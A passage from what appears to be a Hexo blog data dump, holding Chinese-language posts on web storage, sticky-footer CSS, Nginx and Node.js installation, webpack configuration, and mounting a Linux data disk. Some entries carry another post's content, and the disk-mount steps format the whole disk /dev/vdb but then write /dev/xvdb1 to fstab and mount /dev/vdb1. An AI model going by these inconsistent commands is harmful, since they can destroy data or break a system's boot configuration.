\n storage.removeItem(\"name\"); //调用removeItem方法,移除数据 \n alert(storage.getItem(\"name\")); //调用getItem方法,弹框显示 name 为 null \n \n } \n```","slug":"sessionStorage-localStotage-AND-cookies","published":1,"updated":"2018-01-22T06:04:26.424Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5j001ovzqhe2vbu6w5","content":"\n\n引入一个浏览器窗口的概念,开启在同源的同窗口,即使跳到其他页面,数据仍然存在,页面刷新也不会消除数据,
\n
\n\n数据始终在同源的http请求中携带(即使不需要),即cookie在浏览器和服务器间来回传递,数据还有路径(path)的概念,可以限制cookie只属于某个路径下。
\n
使用方法:
\nvar storage = null; \n if(window.localStorage){ //判断浏览器是否支持localStorage \n storage = window.localStorage; \n storage.setItem("name", "Rick"); //调用setItem方法,存储数据 \n alert(storage.getItem("name")); //调用getItem方法,弹框显示 name 为 Rick \n storage.removeItem("name"); //调用removeItem方法,移除数据 \n alert(storage.getItem("name")); //调用getItem方法,弹框显示 name 为 null \n\n } \n
","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"\n\n引入一个浏览器窗口的概念,开启在同源的同窗口,即使跳到其他页面,数据仍然存在,页面刷新也不会消除数据,
\n
\n\n数据始终在同源的http请求中携带(即使不需要),即cookie在浏览器和服务器间来回传递,数据还有路径(path)的概念,可以限制cookie只属于某个路径下。
\n
使用方法:
\nvar storage = null; \n if(window.localStorage){ //判断浏览器是否支持localStorage \n storage = window.localStorage; \n storage.setItem("name", "Rick"); //调用setItem方法,存储数据 \n alert(storage.getItem("name")); //调用getItem方法,弹框显示 name 为 Rick \n storage.removeItem("name"); //调用removeItem方法,移除数据 \n alert(storage.getItem("name")); //调用getItem方法,弹框显示 name 为 null \n\n } \n
"},{"title":"simpleCountry","date":"2017-09-14T02:39:24.000Z","_content":"\n### 简介\n* 昨天晚上想到这个名字,觉得很酷炫,如果可以我想现在就用这个成立一个品牌。打造一个只有简单元素的社区,因为我本人就是一个极简主义者,不喜欢复杂花俏。从生活作为一个切入点。不管是衣食住行,都做到简单,完美。\n\n### 构思\n* 构建一款 app 产品,它没有花俏的外观,没有多余的赘述,只有简单的产品图片,购买按钮,收藏,做垂直细分,可以是服装,家居,交通工具。\n* 贯彻的理念是从生活出发,然后将自己的极简思想投入其中,艺术与生活相互结合。\n* 例如:一款座椅用一条腿代替4条腿,或者是两条腿代替4条腿,一体式座椅,服装,色调不花俏,单色或者是拼色,会给人简单美好\n\n待续~\n\n### 小记\n* 我喜欢摇滚,喜欢积极向上的生活,但不喜欢摇滚中的聒噪,所以我憧憬清摇滚,就是用清淡的节奏和热血的旋律谱写出简单的美好,这是我今后的目标,也会作为我的理念。\n","source":"_posts/simpleCountry.md","raw":"---\ntitle: simpleCountry\ndate: 2017-09-14 10:39:24\ntags: [SC]\ncategories: 生活\n---\n\n### 简介\n* 昨天晚上想到这个名字,觉得很酷炫,如果可以我想现在就用这个成立一个品牌。打造一个只有简单元素的社区,因为我本人就是一个极简主义者,不喜欢复杂花俏。从生活作为一个切入点。不管是衣食住行,都做到简单,完美。\n\n### 构思\n* 构建一款 app 产品,它没有花俏的外观,没有多余的赘述,只有简单的产品图片,购买按钮,收藏,做垂直细分,可以是服装,家居,交通工具。\n* 贯彻的理念是从生活出发,然后将自己的极简思想投入其中,艺术与生活相互结合。\n* 例如:一款座椅用一条腿代替4条腿,或者是两条腿代替4条腿,一体式座椅,服装,色调不花俏,单色或者是拼色,会给人简单美好\n\n待续~\n\n### 小记\n* 我喜欢摇滚,喜欢积极向上的生活,但不喜欢摇滚中的聒噪,所以我憧憬清摇滚,就是用清淡的节奏和热血的旋律谱写出简单的美好,这是我今后的目标,也会作为我的理念。\n","slug":"simpleCountry","published":1,"updated":"2018-01-22T06:31:18.750Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5k001rvzqh0km67qow","content":"待续~
\n待续~
\n今天,我想讲讲关于stick-footer布局技巧,它的内容大概就是当你页面大小为100%时,希望底部定位一个 X 按钮啥的,不管文本内容不够,或者是文本内容超过屏幕时,这个按钮位置总在文本的下方
\n<body>\n <div class="wrapper">\n\n content\n\n <div class="push"></div>\n </div>\n <footer class="footer"></footer>\n</body>\n\nhtml, body {\n height: 100%;\n margin: 0;\n}\n.wrapper {\n min-height: 100%;\n\n /* Equal to height of footer */\n /* But also accounting for potential margin-bottom of last child */\n margin-bottom: -50px;\n}\n.footer,\n.push {\n height: 50px;\n}\n
<body>\n <div class="content">\n <div class="content-inside">\n content\n </div>\n </div>\n <footer class="footer"></footer>\n</body>\n\nhtml, body {\n height: 100%;\n margin: 0;\n}\n.content {\n min-height: 100%;\n}\n.content-inside {\n padding: 20px;\n padding-bottom: 50px;\n}\n.footer {\n height: 50px;\n margin-top: -50px;\n}\n
<body>\n <div class="content">\n content\n </div>\n <footer class="footer"></footer>\n</body>\n\n.content {\n min-height: calc(100vh - 70px);\n}\n.footer {\n height: 50px;\n}\n
\n\ncalc中的 70px,和50px是假定了content中最后一个元素有个20px的margin bottom,你不必在意这些~
\n
<body>\n <div class="content">\n content\n </div>\n <footer class="footer"></footer>\n</body>\n\nhtml {\n height: 100%;\n}\nbody {\n min-height: 100%;\n display: flex;\n flex-direction: column;\n}\n.content {\n flex: 1;\n}\n
\n\nflexbox版本同样很简单,并且相比前面三种方式,它不需要知道footer的高度,避免了Magic Number的尴尬。
\n
<body>\n <div class="content">\n content\n </div>\n <footer class="footer"></footer>\n</body>\nhtml {\n height: 100%;\n}\nbody {\n min-height: 100%;\n display: grid;\n grid-template-rows: 1fr auto;\n}\n.footer {\n grid-row-start: 2;\n grid-row-end: 3;\n}\n
\n\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"Chrome Canary 或者 Firefox Developer Edition才能看到效果。
\n
今天,我想讲讲关于stick-footer布局技巧,它的内容大概就是当你页面大小为100%时,希望底部定位一个 X 按钮啥的,不管文本内容不够,或者是文本内容超过屏幕时,这个按钮位置总在文本的下方
\n<body>\n <div class="wrapper">\n\n content\n\n <div class="push"></div>\n </div>\n <footer class="footer"></footer>\n</body>\n\nhtml, body {\n height: 100%;\n margin: 0;\n}\n.wrapper {\n min-height: 100%;\n\n /* Equal to height of footer */\n /* But also accounting for potential margin-bottom of last child */\n margin-bottom: -50px;\n}\n.footer,\n.push {\n height: 50px;\n}\n
<body>\n <div class="content">\n <div class="content-inside">\n content\n </div>\n </div>\n <footer class="footer"></footer>\n</body>\n\nhtml, body {\n height: 100%;\n margin: 0;\n}\n.content {\n min-height: 100%;\n}\n.content-inside {\n padding: 20px;\n padding-bottom: 50px;\n}\n.footer {\n height: 50px;\n margin-top: -50px;\n}\n
<body>\n <div class="content">\n content\n </div>\n <footer class="footer"></footer>\n</body>\n\n.content {\n min-height: calc(100vh - 70px);\n}\n.footer {\n height: 50px;\n}\n
\n\ncalc中的 70px,和50px是假定了content中最后一个元素有个20px的margin bottom,你不必在意这些~
\n
<body>\n <div class="content">\n content\n </div>\n <footer class="footer"></footer>\n</body>\n\nhtml {\n height: 100%;\n}\nbody {\n min-height: 100%;\n display: flex;\n flex-direction: column;\n}\n.content {\n flex: 1;\n}\n
\n\nflexbox版本同样很简单,并且相比前面三种方式,它不需要知道footer的高度,避免了Magic Number的尴尬。
\n
<body>\n <div class="content">\n content\n </div>\n <footer class="footer"></footer>\n</body>\nhtml {\n height: 100%;\n}\nbody {\n min-height: 100%;\n display: grid;\n grid-template-rows: 1fr auto;\n}\n.footer {\n grid-row-start: 2;\n grid-row-end: 3;\n}\n
\n\n"},{"title":"sync 和async","date":"2017-07-21T08:12:21.000Z","_content":"\n### async 和 sync\n\n\n\n\n\n\n\n\n\n\n### 总结\n* 一句话:可以改变程序正常执行顺序的就称为异步","source":"_posts/sync-和async.md","raw":"---\ntitle: sync 和async\ndate: 2017-07-21 16:12:21\ntags: [同步, 异步, es6]\ncategories: JS\n---\n\n### async 和 sync\n\n\n\n\n\n\n\n\n\n\n### 总结\n* 一句话:可以改变程序正常执行顺序的就称为异步","slug":"sync-和async","published":1,"updated":"2018-01-22T06:05:08.282Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5n001xvzqhvh19qz8o","content":"Chrome Canary 或者 Firefox Developer Edition才能看到效果。
\n
首先输入fdisk -l命令后,发现/dev/vdb,说明实例含有数据盘,需要挂载\n\n运行fdisk /dev/vdb,对数据盘进行分区,依次输入n,p,1,然后按两次回车,最后输入wq,进行分区\n\n分区完成之后运行fdisk -l命令,查看新的分区。可以看到新的分区vdb1已经创建好了。\n\n运行mkfs.ext3 /dev/vdb,对新分区进行格式化。\n\n格式化完成之后运行echo /dev/xvdb1 /mnt ext3 defaults 0 0 >> /etc/fstab (这是一条命令)写入分区信息。\n\n完成之后运行 cat /etc/fstab 可以进行查看\n\n运行mount /dev/vdb1 /mnt 挂载新分区,然后执行df -h 查看分区,如果出现数据盘信息,说明挂载成功,就可以开始使用新分区\n\n作者:wuyumumu\n链接:https://www.jianshu.com/p/8fb738cd8672\n來源:简书\n著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。\n
sudo apt-get update\n\nsudo apt-get install nodejs\n\nsudo apt-get install npm\n
\n\n特别注意:Ubuntu中可执行的名字是 nodejs 而不是node
\n
一款管理nodejs版本的工具
\n升级node.js到最新稳定版\n\nn stable\n\n升级node.js到最新版\n\nn latest\n
安装gcc g++的依赖库\napt-get install build-essential\napt-get install libtool\n\n安装 pcre依赖库\nsudo apt-get update\nsudo apt-get install libpcre3 libpcre3-dev\n\n安装 zlib依赖库\napt-get install zlib1g-dev\n\n安装 ssl依赖库\napt-get install openssl\n\n安装Nginx(http://nginx.org)\n#下载最新版本:\nwget http://nginx.org/download/nginx-1.13.4.tar.gz(根据官网查看最新版本下载对应版本)\n\n#解压:\ntar -zxvf nginx-1.13.4.tar.gz\n\n#进入解压目录:\ncd nginx-1.13.4\n\n#配置:\n./configure --prefix=/usr/local/nginx \n\n#编辑nginx:\nmake\n\n#安装nginx:\nsudo make install\n\n#启动nginx:\n先切到根目录cd /\nsudo /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf\n\n#查看nginx进程:\nps -ef|grep nginx \n\n#查看nginx版本(根目录下执行)\nusr/local/nginx/sbin/nginx -v\n\n
测试nginx安装成功
wget http://127.0.0.1 (会下载一个默认的html文件,直接ls查看当前目录可看到)
首先输入fdisk -l命令后,发现/dev/vdb,说明实例含有数据盘,需要挂载\n\n运行fdisk /dev/vdb,对数据盘进行分区,依次输入n,p,1,然后按两次回车,最后输入wq,进行分区\n\n分区完成之后运行fdisk -l命令,查看新的分区。可以看到新的分区vdb1已经创建好了。\n\n运行mkfs.ext3 /dev/vdb,对新分区进行格式化。\n\n格式化完成之后运行echo /dev/xvdb1 /mnt ext3 defaults 0 0 >> /etc/fstab (这是一条命令)写入分区信息。\n\n完成之后运行 cat /etc/fstab 可以进行查看\n\n运行mount /dev/vdb1 /mnt 挂载新分区,然后执行df -h 查看分区,如果出现数据盘信息,说明挂载成功,就可以开始使用新分区\n\n作者:wuyumumu\n链接:https://www.jianshu.com/p/8fb738cd8672\n來源:简书\n著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。\n
sudo apt-get update\n\nsudo apt-get install nodejs\n\nsudo apt-get install npm\n
\n\n特别注意:Ubuntu中可执行的名字是 nodejs 而不是node
\n
一款管理nodejs版本的工具
\n升级node.js到最新稳定版\n\nn stable\n\n升级node.js到最新版\n\nn latest\n
安装gcc g++的依赖库\napt-get install build-essential\napt-get install libtool\n\n安装 pcre依赖库\nsudo apt-get update\nsudo apt-get install libpcre3 libpcre3-dev\n\n安装 zlib依赖库\napt-get install zlib1g-dev\n\n安装 ssl依赖库\napt-get install openssl\n\n安装Nginx(http://nginx.org)\n#下载最新版本:\nwget http://nginx.org/download/nginx-1.13.4.tar.gz(根据官网查看最新版本下载对应版本)\n\n#解压:\ntar -zxvf nginx-1.13.4.tar.gz\n\n#进入解压目录:\ncd nginx-1.13.4\n\n#配置:\n./configure --prefix=/usr/local/nginx \n\n#编辑nginx:\nmake\n\n#安装nginx:\nsudo make install\n\n#启动nginx:\n先切到根目录cd /\nsudo /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf\n\n#查看nginx进程:\nps -ef|grep nginx \n\n#查看nginx版本(根目录下执行)\nusr/local/nginx/sbin/nginx -v\n\n
测试nginx安装成功
wget http://127.0.0.1 (会下载一个默认的html文件,直接ls查看当前目录可看到)
框架:react
\n\n\n注意:路由用的是4.0版
\n
打包工具:webpack2.0
\n项目唯一入口
\n\n\n这里发现一个问题,就是当我打包时全部 js 在同一个文件中,文件太大了,性能体验上是非常可怕的,反正我觉得如果2g网浏览是GG了的。处理的方式是: 给入口添加一个 vendor,将依赖库写入这个 vendor 中,如果觉得依赖包太大可以写成 vendor1,vendor2.
\n
项目输出文件夹
\n\n\n[name].[hash:8].js
\n
html,js,css,img 处理组件
\n其他优化插件,该处只介绍 webpack 自带的一些插件库
\nwebpack.BannerPlugin
\n\n\n给打包文件添加一个banner
\n
webpack.optimize.UglifyJsPlugin
\n\n\n压缩 js
\n
webpack.optimize.OccurrenceOrderPlugin
\n\n\n添加唯一 ID
\n
热加载插件,在 script 中的命令参数:
\n\n\n–devtool eval:为你的代码创建源地址。当有任何报错的时候可以让你更加精确地定位到文件和行号
\n
–progress: 显示合并代码进度
–colors: 在命令行中显示颜色
–content-base build: 指向设置的输出目录
–hot: 注意在 config 文件中如果已经new plugin,就不要hot了,二选一。
根据预先的模板实例化一个html
\nnew HtmlWebpackPlugin({\n title: '',\n template: __dirname + "/src/index.html",\n minify: {\n "removeAttributeQuotes": true, // 移除注释\n "removeComments": true, // 移除空格\n "removeEmptyAttributes": true, // 移除空白行\n },\n chunks: ['index', 'vendors'], // 配置该html文件要添加的模块\n // inject: 'body'\n })\n
删除 webpack 缓存插件
\nnew CleanWebpackPlugin('build/', { // 清除缓存文件\n root: __dirname,\n verbose: true,\n dry: false\n })\n
将 css 抽离出 js
\ntest: /\\.css$/,\nuse: ExtractTextPlugin.extract({\n fallback: "style-loader", // 提取 css 文件\n use: [{ // 编译文件\n loader: "css-loader",\n options: {\n // modules: true, // 组件化\n minimize: true // 压缩\n }\n }, {\n loader: "postcss-loader" // 将 css 添加前缀\n }\n ]\n})\n
友好的错误提示插件
\nautoprefixer(需要和 postcss-loader 一起使用)
\n\n\n补全 css 前缀
\n
babel 合集
\nbabel-core\nbabel-loader\nbabel-plugin-react-transform\nbabel-preset-env\nbabel-preset-react\n
react-transform-catch-errors、redbox-react
\n\n\nreact 报错插件
\n
copy-to-clipboard
\n\n\n点击复制到剪贴板插件
\n
`
ReactDOM.render(
,
document.getElementById(‘app’)
)
在父级 APP 中记得加入 this.props.children`
\n\n路由渲染不要带着DOM一起渲染,如果可以将 router 单独作为一个组件处理,本例稍简单,并未分离出去
\n
神坑啊!设置的时候是将 8K 以内的图片打包后转为 base64,所以并看不到 img 文件夹生成。。。而我判断打包成功的标准就是是否生成 img 文件夹
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.cloudd